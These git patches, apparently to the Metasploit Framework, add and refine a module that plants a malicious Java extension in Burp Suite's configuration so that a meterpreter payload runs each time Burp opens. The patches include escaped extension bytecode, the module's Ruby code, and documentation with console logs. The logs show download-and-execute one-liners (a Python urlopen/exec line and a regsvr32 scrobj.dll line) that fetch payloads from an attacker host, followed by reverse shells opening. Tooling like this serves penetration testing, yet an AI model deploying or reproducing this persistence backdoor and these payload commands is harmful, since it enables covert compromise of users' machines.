"\x98(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/invoke/CallSite;" + burp_extension_class << "\x08\x018\x01\x00\x12Class not found: \x01\x08\x01:\x01\x00\x18Main method not found: \x01\x08\x01<\x01\x00\x1d" + burp_extension_class << "Error loading jar file (\x01): \x01\x08\x01>\x01\x00\x1aError loading extension: \x01\x01\x00\x0cInnerClasses\x07\x01A\x01" + burp_extension_class << "\x00%java/lang/invoke/MethodHandles$Lookup\x07\x01C\x01\x00\x1ejava/lang/invoke/MethodHandles\x01\x00\x06Lookup\x00!\x00\xfe\x00\x02\x00" + burp_extension_class << "\x01\x01\x00\x00\x00\x00\x02\x00\x01\x00\x05\x00\x06\x00\x01\x01\x02\x00\x00\x00/\x00\x01\x00\x01\x00\x00\x00\x05*\xb7\x00\x01\xb1\x00\x00" + burp_extension_class << "\x00\x02\x01\x03\x00\x00\x00\x06\x00\x01\x00\x00\x00\x0c\x01\x04\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x01\x05\x01\x06\x00\x00\x00\x01" + burp_extension_class << "\x01\x07\x01\x08\x00\x01\x01\x02\x00\x00\x06\xac\x00\x06\x00\x10\x00\x00\x02\x84*\xb6\x00\x07\xb6\x00\x0b\x12\x11\xb6\x00\x13M\xbb\x00" + burp_extension_class << "\x19Y,\xb2\x00\x1b\xb6\x00!\xb7\x00'N-\x12*\xb6\x00,\xb6\x000\xb6\x003:\x04+\x19\x04\xb9\x008\x02\x00\xbb\x00>Y+\xb9\x00@\x01\x00\x04\xb7" + burp_extension_class << "\x00D:\x05\xbb\x00>Y+\xb9\x00G\x01\x00\x04\xb7\x00D:\x06\x12J\xb8\x00L\xb6\x00R:\x07\x19\x05\x12U\xb6\x00W*\xb6\x00\x07\xb6\x00\x0b\x12Z\xb6" + burp_extension_class << "\x00\x13:\x09\x19\x09\xc6\x00\xb7\xbb\x00\x19Y\x19\x09\xb2\x00\x1b\xb6\x00!\xb7\x00':\x0a\x19\x0a\x12*\xb6\x00,\xb6\x000\xb6\x003:\x0b\x19" + burp_extension_class << "\x07\x12\\\xb6\x00^\x99\x00o\x12b\x12d\xb8\x00f:\x0c\x19\x0c\xb6\x00l\xbb\x00>Y\x19\x0c\xb2\x00\x1b\xb6\x00!\xb7\x00o:\x0d\x19\x0d\x12r\xb6" + burp_extension_class << "\x00W\x19\x0d\x19\x0b\xb6\x00W\x19\x0d\xb6\x00t\xa7\x00\x19:\x0e\x19\x0d\xb6\x00t\xa7\x00\x0c:\x0f\x19\x0e\x19\x0f\xb6\x00y\x19\x0e\xbf\xb8" + burp_extension_class << "\x00}\x06\xbd\x004Y\x03\x12\x83SY\x04\x12\x85SY\x05\x19\x0c\xb6\x00\x87S\xb6\x00\x8a:\x08\xa7\x00\x1e\xb8\x00}\x06\xbd\x004Y\x03\x12\x8eSY" + burp_extension_class << "\x04\x12\x90SY\x05\x19\x0bS\xb6\x00\x8a:\x08\xa7\x01A\x19\x05\x12\x92\xb6\x00W\x19\x05\x12\x94\xb6\x00W*\xb6\x00\x07\xb6\x00\x0b\x12\x96\xb6" + burp_extension_class << "\x00\x13:\x0a\x19\x0a\xc7\x00\x0d\xbb\x00\x98Y\x12\x9a\xb7\x00\x9c\xbf\x19\x05\x12\x9e\xb6\x00W\x12\xa0\x12\xa2\xb8\x00f:\x0b\x19\x0b\xb6" + burp_extension_class << "\x00l\x19\x05\x12\xa4\xb6\x00W\x19\x0a:\x0c\x19\x0c\x19\x0b\xb6\x00\xa6\x04\xbd\x00\xaaY\x03\xb2\x00\xacS\xb8\x00\xb2X\x19\x0c\xc6\x00&\x19" + burp_extension_class << "\x0c\xb6\x00\xb8\xa7\x00\x1e:\x0d\x19\x0c\xc6\x00\x14\x19\x0c\xb6\x00\xb8\xa7\x00\x0c:\x0e\x19\x0d\x19\x0e\xb6\x00y\x19\x0d\xbf\x19\x05\x12" + burp_extension_class << "\xbb\xb6\x00W\xbb\x00\xbdY\x04\xbd\x00\xbfY\x03\x19\x0b\xb6\x00\xc1\xb6\x00\xc5S\x01\xb7\x00\xcb:\x0c\x19\x0c\x12\xce\xb6\x00\xd0:\x0d\x19" + burp_extension_class << "\x0d\x12\xd4\x04\xbd\x00\x0cY\x03\x12\xd6S\xb6\x00\xd8:\x0e\x19\x0e\x01\x04\xbd\x00\x02Y\x03\x03\xbd\x004S\xb6\x00\xdcW\x19\x0c\xb6\x00\xe2" + burp_extension_class << "\xa7\x00\x19:\x0d\x19\x0c\xb6\x00\xe2\xa7\x00\x0c:\x0e\x19\x0d\x19\x0e\xb6\x00y\x19\x0d\xbf\xa7\x00K:\x0c\x19\x06\x19\x0c\xb6\x00\xe5\xba" + burp_extension_class << "\x00\xe8\x00\x00\xb6\x00W\xa7\x007:\x0c\x19\x06\x19\x0c\xb6\x00\xed\xba\x00\xee\x00\x00\xb6\x00W\xa7\x00#:\x0c\x19\x06\x19\x0b\xb6\x00\xa6" + burp_extension_class << "\xb8\x00\xef\x19\x0c\xb6\x00\xf3\xba\x00\xf4\x00\x00\xb6\x00W\x19\x0c\x19\x06\xb6\x00\xf7\x19\x05\x12\xfb\xb6\x00W\xa7\x00\x14:\x09\x19\x06" + burp_extension_class << "\x19\x09\xb6\x00\xf3\xba\x00\xfd\x00\x00\xb6\x00W\xb1\x00\x0a\x00\xbf\x00\xcd\x00\xd5\x00w\x00\xd7\x00\xdc\x00\xdf\x00w\x01u\x01\x8a\x01\x97" + burp_extension_class << "\x00w\x01\x9e\x01\xa3\x01\xa6\x00w\x01\xd2\x01\xff\x02\x07\x00w\x02\x09\x02\x0e\x02\x11\x00w\x01\xb9\x02\x1d\x02 \x00\xe3\x01\xb9\x02\x1d" + burp_extension_class << "\x024\x00\xeb\x01\xb9\x02\x1d\x02H\x00\x98\x00\\\x02o\x02r\x00\x98\x00\x04\x01\x03\x00\x00\x00\xf2\x00<\x00\x00\x00\x10\x00\x0d\x00\x11\x00" + burp_extension_class << "\x1c\x00\x12\x00*\x00\x13\x002\x00\x16\x00B\x00\x17\x00R\x00\x1a\x00\\\x00\x1e\x00c\x00!\x00q\x00#\x00v\x00%\x00\x87\x00&\x00\x96\x00(\x00" + burp_extension_class << "\xa0\x00*\x00\xa9\x00+\x00\xae\x00.\x00\xbf\x00/\x00\xc6\x000\x00\xcd\x001\x00\xd5\x00.\x00\xeb\x004\x01\x09\x005\x01\x0c\x007\x01'\x009" + burp_extension_class << "\x01*\x00:\x011\x00<\x018\x00=\x01F\x00>\x01K\x00?\x01U\x00C\x01\\\x00D\x01e\x00E\x01j\x00G\x01q\x00H\x01u\x00I\x01\x8a\x00J\x01\x97\x00H" + burp_extension_class << "\x01\xb2\x00M\x01\xb9\x00N\x01\xc5\x00O\x01\xd2\x00R\x01\xdb\x00S\x01\xed\x00T\x01\xff\x00U\x02\x07\x00N\x02\x1d\x00\\\x02 \x00U\x02\"\x00V" + burp_extension_class << "\x021\x00\\\x024\x00W\x026\x00X\x02E\x00\\\x02H\x00Y\x02J\x00Z\x02a\x00[\x02h\x00_\x02o\x00b\x02r\x00`\x02t\x00a\x02\x83\x00c\x01\x04\x00" + burp_extension_class << "\x00\x00\xfc\x00\x19\x00\xbf\x00,\x01\x09\x01\x0a\x00\x0d\x00\xa9\x00`\x01\x0b\x01\x0c\x00\x0c\x01\x09\x00\x03\x01\x0d\x01\x0e\x00\x08\x00" + burp_extension_class << "\x87\x00\xa0\x01\x0f\x01\x10\x00\x0a\x00\x96\x00\x91\x00c\x01\x11\x00\x0b\x01'\x00\x03\x01\x0d\x01\x0e\x00\x08\x01u\x00=\x01\x12\x01\x13\x00" + burp_extension_class << "\x0c\x01\xdb\x00$\x01\x14\x01\x15\x00\x0d\x01\xed\x00\x12\x01\x16\x01\x17\x00\x0e\x01\xd2\x00K\x01\x18\x01\x19\x00\x0c\x02\"\x00\x0f\x01\x1a" + burp_extension_class << "\x01\x1b\x00\x0c\x026\x00\x0f\x01\x1a\x01\x1c\x00\x0c\x02J\x00\x1e\x01\x1a\x01\x1d\x00\x0c\x01F\x01\"\x01\x1e\x01\x13\x00\x0a\x01e\x01\x03" + burp_extension_class << "\x01\x1f\x01\x0c\x00\x0b\x00q\x01\xfe\x01 \x01\x13\x00\x09\x02t\x00\x0f\x01\x1a\x01\x1d\x00\x09\x00\x00\x02\x84\x01\x05\x01\x06\x00\x00\x00" + burp_extension_class << "\x00\x02\x84\x01!\x01\"\x00\x01\x00\x0d\x02w\x01#\x01\x13\x00\x02\x00\x1c\x02h\x01$\x01\x10\x00\x03\x00*\x02Z\x01%\x01\x11\x00\x04\x00B" + burp_extension_class << "\x02B\x01&\x01\x0a\x00\x05\x00R\x022\x01'\x01\x0a\x00\x06\x00\\\x02(\x01(\x01\x11\x00\x07\x01)\x00\x00\x00\x0c\x00\x01\x01\xdb\x00$\x01\x14" + burp_extension_class << "\x01*\x00\x0d\x01+\x00\x00\x01\xba\x00\x16\xff\x00\xd5\x00\x0e\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07" + burp_extension_class << "\x004\x00\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00g\x07\x00>\x00\x01\x07\x00w\xff\x00\x09\x00\x0f\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00" + burp_extension_class << "\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00g\x07\x00>\x07\x00w\x00\x01\x07\x00w\x08\xf9\x00\x02" + burp_extension_class << "\xfa\x00 \xff\x00\x1a\x00\x0a\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x07\x01,\x07\x00\xb9\x00\x00" + burp_extension_class << "\xff\x00\x02\x00\x0a\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x00\x00\xfc\x00*\x07" + burp_extension_class << "\x00\xb9\xff\x00A\x00\x0d\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\xb9\x07" + burp_extension_class << "\x00g\x07\x00\xb9\x00\x01\x07\x00w\xff\x00\x0e\x00\x0e\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00" + burp_extension_class << "\x07\x00\xb9\x07\x00\xb9\x07\x00g\x07\x00\xb9\x07\x00w\x00\x01\x07\x00w\x08\xf9\x00\x02\xff\x00T\x00\x0d\x07\x00\xfe\x07\x009\x07\x00\xb9" + burp_extension_class << "\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\xb9\x07\x00g\x07\x00\xbd\x00\x01\x07\x00w\xff\x00\x09\x00\x0e\x07" + burp_extension_class << "\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\xb9\x07\x00g\x07\x00\xbd\x07\x00w\x00" + burp_extension_class << "\x01\x07\x00w\x08\xf9\x00\x02B\x07\x00\xe3S\x07\x00\xebS\x07\x00\x98\xf9\x00\x1f\xff\x00\x09\x00\x08\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00" + burp_extension_class << "\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x01\x07\x00\x98\x10\x00\x03\x01.\x00\x00\x00\x02\x01/\x010\x00\x00\x00\x1a\x00\x04\x011\x00\x01" + burp_extension_class << "\x017\x011\x00\x01\x019\x011\x00\x01\x01;\x011\x00\x01\x01=\x01?\x00\x00\x00\x0a\x00\x01\x01@\x01B\x01D\x00\x19" jar = Rex::Zip::Jar.new # build our manifest manually because its only one line and we don't need the extra From 1a59ed08fec2ca2e49e10a531b4d133b8e002ddc Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 21 Jan 2025 17:05:44 -0500 Subject: [PATCH 09/23] add docs for burp extension persistence --- .../multi/local/burp_extension_persistence.md | 249 ++++++++++++++++++ .../multi/local/burp_extension_persistence.rb | 2 +- 2 files changed, 250 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/multi/local/burp_extension_persistence.md diff --git a/documentation/modules/exploit/multi/local/burp_extension_persistence.md b/documentation/modules/exploit/multi/local/burp_extension_persistence.md new file mode 100644 index 0000000000000..18c1b762566a3 --- /dev/null +++ b/documentation/modules/exploit/multi/local/burp_extension_persistence.md @@ -0,0 +1,249 @@ +## Vulnerable Application + +This module adds a java based malicious extension to the Burp Suite configuration file. +When burp is opened, the extension will be loaded and the payload will be executed. + +Tested against Burp Suite Community Edition v2024.9.4 on Kali. +Tested against Burp Suite Professional ??? on Kali. +Tested against Burp Suite Community Edition v2024.10.3 on Windows 10. + +## Verification Steps + +1. Install burp +2. Start msfconsole +3. Get an initial shell on *nix or Windows +4. Do: `use exploit/multi/local/burp_extension_persistence` +5. Do: `set session #` +6. Do: `set writabledir ` +7. Do: `run` +8. Once the extension is installed, you should get a shell + +## Options + +### NAME + +Name of the extension. If blank, a random name is closen. + +### CONFIG + +Config file location on target. This is a User Settings file that an extension can be added to. + +### WritableDir + +A directory where we can write the extension + +### USER + +User to target, or current user if blank + +### GRADLE + +If action is set to build, the location of the gradle executable to build the extension with. +Defaults to `/usr/bin/gradle` + +### Action: precompiled + +Utilized pre-compiled bytecode, Gradle is not required + +### Action: build + +Build the extension locally with Gradle. + +## Scenarios + +### Linux/Kali Burp 2024.10.3 + +Initial access + +``` +[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > setg verbose +verbose => true +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > setg lhost 1.1.1.1 +lhost => 1.1.1.1 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 0 +target => 0 +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp +payload => python/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit +[*] Exploit running as background job 2. +[*] Exploit completed, but no session was created. +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 1.1.1.1:4646 +[*] Using URL: http://1.1.1.1:8282/dRgZhDZiHCi7X +[*] Server started. +[*] Run the following command on the target machine: +python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8282/dRgZhDZiHCi7X', context=ssl._create_unverified_context());exec(r.read());" +[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes) +[*] Sending stage (24772 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (1.1.1.1:4646 -> 1.1.1.1:44554) at 2025-01-21 14:26:57 -0500 + +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/root/metasploit-framework) > sysinfo +Computer : kali +OS : Linux 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +(Meterpreter 1)(/root/metasploit-framework) > getuid +Server username: h00die +``` + +#### Burp via Build + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/local/burp_extension_persistence +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +[*] Using action precompiled - view all 2 actions with the show actions command +[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set action build +action => build +[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 1 +target => 1 +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set action build +action => build +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 1 +target => 1 +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set writabledir /tmp/ +writabledir => /tmp/ +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set payload cmd/unix/python/meterpreter/reverse_tcp +payload => cmd/unix/python/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit +[*] Exploit running as background job 3. +[*] Exploit completed, but no session was created. +[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > +[*] Started reverse TCP handler on 1.1.1.1:4444 +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Gradle found +[*] Found config file: /root/.java/.userPrefs/burp/prefs.xml +[*] Found config file: /root/.java/.userPrefs/burp/community/prefs.xml +[*] Config mentioned in settings, but not found: /tmp/burp.json +[!] The service is running, but could not be validated. No config file listed, only writing plugin to disk +[*] Using extension name: 0jPrAJt +[*] Creating JAR file +[*] Building Burp extension jar file in /tmp/d20250121-7883-zppnzb +Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true +openjdk version "17.0.14-ea" 2025-01-21 +OpenJDK Runtime Environment (build 17.0.14-ea+6-Debian-1) +OpenJDK 64-Bit Server VM (build 17.0.14-ea+6-Debian-1, mixed mode, sharing) +Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true +Starting a Gradle Daemon (subsequent builds will be faster) + +BUILD SUCCESSFUL in 2s +4 actionable tasks: 3 executed, 1 up-to-date +[*] Writing malcious extension to disk: /tmp//0jPrAJt.jar +[+] Extension enabled, waiting for Burp to open with the config. +[*] Sending stage (24772 bytes) to 1.1.1.1 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:36144) at 2025-01-21 14:40:02 -0500 +``` + +Burp Extension Install + +1. Open burp +2. Click Next for a Temporary project in memory +3. Click Start Burp +4. Select the Extensions tab +5. Click Add +6. Click Select file under Extension details, and pick the jar file which was uploaded to the target +7. Click Next + +#### Burp via Precompiled and User Settings + +Export user settings: + +1. From the main GUI click Settings +2. Click the 3 dots in the top right corner +3. Select User settings > Save user settings +4. save the file. No extension is needed, it will be `json` + +Import user settings: + +1. From the main GUI click Settings +2. Click the 3 dots in the top right corner +3. Select User settings > Load user settings +4. select the file which was previously saved +5. Upon loading, the payload will execute + +``` +[msf](Jobs:0 Agents:2) exploit(multi/local/burp_extension_persistence) > set action precompiled +action => precompiled +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set config /tmp/user_settings.json +config => /tmp/user_settings.json +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit +[*] Exploit running as background job 4. +[*] Exploit completed, but no session was created. +[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > +[*] Started reverse TCP handler on 1.1.1.1:4444 +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Found config file: /root/.java/.userPrefs/burp/prefs.xml +[*] Found config file: /root/.java/.userPrefs/burp/community/prefs.xml +[*] Config mentioned in settings, but not found: /tmp/burp.json +[!] The service is running, but could not be validated. Config file found: /tmp/user_settings.json +[*] Using extension name: sDojM +[*] Creating JAR file +[*] Writing malcious extension to disk: /tmp//sDojM.jar +[*] Updating config file +[+] Config file saved in: /root/.msf4/loot/20250121145043_default_1.1.1.1_burp.config.json_619066.bin +[+] Extension written to disk, waiting for Burp to open and user to install extension. +[*] Sending stage (24772 bytes) to 1.1.1.1 +[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 1.1.1.1:37714) at 2025-01-21 14:52:27 -0500 +``` + +### Windows + +Initial shell +``` +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > set target 3 +target => 3 +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > exploit +[*] Exploit running as background job 5. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 1.1.1.1:4646 +[*] Using URL: http://1.1.1.1:8282/ZOfTYkv5jpRpcv +[*] Server started. +[*] Run the following command on the target machine: +regsvr32 /s /n /u /i:http://1.1.1.1:8282/ZOfTYkv5jpRpcv.sct scrobj.dll +[*] Sending stage (203846 bytes) to 2.2.2.2 +[*] Meterpreter session 4 opened (1.1.1.1:4646 -> 2.2.2.2:51773) at 2025-01-21 15:11:44 -0500 +``` + +Burp Extension +``` +[msf](Jobs:0 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/local/burp_extension_persistence +[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp +[*] Using action precompiled - view all 2 actions with the show actions command +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 2 +target => 2 +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set action precompiled +action => precompiled +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set payload cmd/windows/powershell/meterpreter/reverse_tcp +payload => cmd/windows/powershell/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set writabledir c:\\users\\windows\\Desktop\\ +writabledir => c:\users\windows\Desktop\ +[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit +[*] Powershell command length: 4153 +[*] Exploit running as background job 8. +[*] Exploit completed, but no session was created. +[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Found config: C:///Users//windows///Desktop//burp_user_settings.json +[!] The service is running, but could not be validated. No config file listed, only writing plugin to disk +[*] Using extension name: EKHhAH9U +[*] Creating JAR file +[*] Writing malcious extension to disk: c:\users\windows\Desktop\/EKHhAH9U.jar +[+] Extension enabled, waiting for Burp to open with the config. +[*] Sending stage (177734 bytes) to 2.2.2.2 +[*] Meterpreter session 5 opened (1.1.1.1:4444 -> 2.2.2.2:51899) at 2025-01-21 15:17:54 -0500 +``` \ No newline at end of file diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index 1d0f4c80a089f..e0ab9d813a46e 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -22,7 +22,7 @@ def initialize(info = {}) This module adds a java based malicious extension to the Burp Suite configuration file. When burp is opened, the extension will be loaded and the payload will be executed. - Tested against Burp Suite Community Edition v2024.9.4 on Kali. + Tested against Burp Suite Community Edition v2024.9.4, v2024.10.3 on Kali. Tested against Burp Suite Professional ??? on Kali. Tested against Burp Suite Community Edition v2024.10.3 on Windows 10. }, From aa9a0f76dace3ea81fe74df2737aabc552bef667 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 21 Jan 2025 17:18:53 -0500 Subject: [PATCH 10/23] burp extension review --- .../multi/local/burp_extension_persistence.md | 4 +-- .../multi/local/burp_extension_persistence.rb | 26 +++++++++---------- 2 files changed, 14 insertions(+), 16 deletions(-) diff --git a/documentation/modules/exploit/multi/local/burp_extension_persistence.md b/documentation/modules/exploit/multi/local/burp_extension_persistence.md index 18c1b762566a3..82f17c611ed68 100644 --- a/documentation/modules/exploit/multi/local/burp_extension_persistence.md +++ b/documentation/modules/exploit/multi/local/burp_extension_persistence.md @@ -38,12 +38,12 @@ User to target, or current user if blank ### GRADLE -If action is set to build, the location of the gradle executable to build the extension with. +If action is set to build, the local location of the gradle executable to build the extension with. Defaults to `/usr/bin/gradle` ### Action: precompiled -Utilized pre-compiled bytecode, Gradle is not required +Use pre-compiled bytecode, Gradle is not required ### Action: build diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index e0ab9d813a46e..497226a3b4a68 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -62,7 +62,7 @@ def initialize(info = {}) ], ], 'Actions' => [ - ['precompiled', { 'Description' => 'Utilized pre-compiled bytecode' }], + ['precompiled', { 'Description' => 'Use pre-compiled bytecode' }], ['build', { 'Description' => 'Build the extension locally with Gradle' }] ], 'DefaultAction' => 'precompiled', @@ -82,7 +82,7 @@ def initialize(info = {}) OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), ]) register_advanced_options([ - OptString.new('GRADLE', [ false, 'Gradle executable', '/usr/bin/gradle' ]), + OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]), ]) end @@ -97,7 +97,7 @@ def check if File.exist?(datastore['GRADLE']) vprint_good('Gradle found') else - CheckCode::Safe('Gradle is required on THE METASPLOIT computer, please install.') + CheckCode::Safe('Gradle is required on the local computer running metasploit, please install it.') end end @@ -144,7 +144,7 @@ def add_extension(settings_file, extension_location, extension_name) begin config_contents['user_options']['extender']['extensions'] << malicious_extension rescue NoMethodError - fail_with(Failure::Unknown, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file not user.") + fail_with(Failure::Unknown, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.") end # write json write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 })) @@ -159,16 +159,14 @@ def target_user end # windows stores these settings in the registry - # nix stores it in a prefs.xml file + # *nix stores them in a prefs.xml file def get_configs_from_settings me = target_user config_files = [] if ['windows', 'win'].include? session.platform key = 'HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\burp' - i = 0 - while i < 100 # place a hard upper limit just in case + for i in 0..100 # place a hard upper limit just in case value = registry_getvaldata(key, "free.suite.recent/Config/Files#{i}") - i += 1 break if value.nil? @@ -176,11 +174,10 @@ def get_configs_from_settings config_files << value end else - files = [ + [ "/home/#{me}/.java/.userPrefs/burp/prefs.xml", "/home/#{me}/.java/.userPrefs/burp/community/prefs.xml" - ] - files.each do |f| + ].each do |f| next unless file?(f) vprint_status("Found config file: #{f}") @@ -205,7 +202,7 @@ def get_configs_from_settings def run_local_gradle_build(extension_name) # Check if gradle is installed - fails_with(Failure::NotFound, 'Gradle is not installed on this system (not target).') unless File.exist?(datastore['GRADLE']) + fails_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE']) # Define source and destination directories src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension') @@ -233,7 +230,7 @@ def run_local_gradle_build(extension_name) end # Run gradle clean build - vprint_status("Building Burp extension jar file in #{temp_dir}") + vprint_status("Building Burp extension jar file locally in #{temp_dir}") Dir.chdir(temp_dir) do system("#{datastore['GRADLE']} clean build") end @@ -241,6 +238,7 @@ def run_local_gradle_build(extension_name) # Check if the jar file was created jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar') fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file) + print_good("Successfully built the jar file #{jar_file}") File.read(jar_file) end @@ -357,7 +355,7 @@ def compiled_extension(extension_name) jar = Rex::Zip::Jar.new # build our manifest manually because its only one line and we don't need the extra - # lines that build_manifest adds. This more closely implements the gradle build command + # ones that metasploit's build_manifest adds. This more closely implements the gradle build command jar.add_file('META-INF/', '') jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n") jar.add_file('burp/', '') From 839a8f2ebcace542c0c61fffeeaaf863fd820b75 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 25 Jan 2025 12:53:33 -0500 Subject: [PATCH 11/23] burp extension review --- data/exploits/burp_extension/notes.txt | 5 +- .../exploits/burp_extension/precompiled.class | Bin 0 -> 6359 bytes .../multi/local/burp_extension_persistence.rb | 122 ++---------------- 3 files changed, 14 insertions(+), 113 deletions(-) create mode 100644 data/exploits/burp_extension/precompiled.class diff --git a/data/exploits/burp_extension/notes.txt b/data/exploits/burp_extension/notes.txt index 1b5b9497a2010..a45c7ffa75476 100644 --- a/data/exploits/burp_extension/notes.txt +++ b/data/exploits/burp_extension/notes.txt @@ -3,5 +3,6 @@ Extension Location: build/libs/MetasploitPayloadExtension.jar Updating payload in module: 1. Run the build command inside of this folder (data/exploits/burp_extension) 2. jar xf build/libs/MetasploitPayloadExtension.jar - 3. Use this command to print out the hex: python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))" - 4. You'll still need to escape \ and " characters. + 1. Use this command to print out the hex: 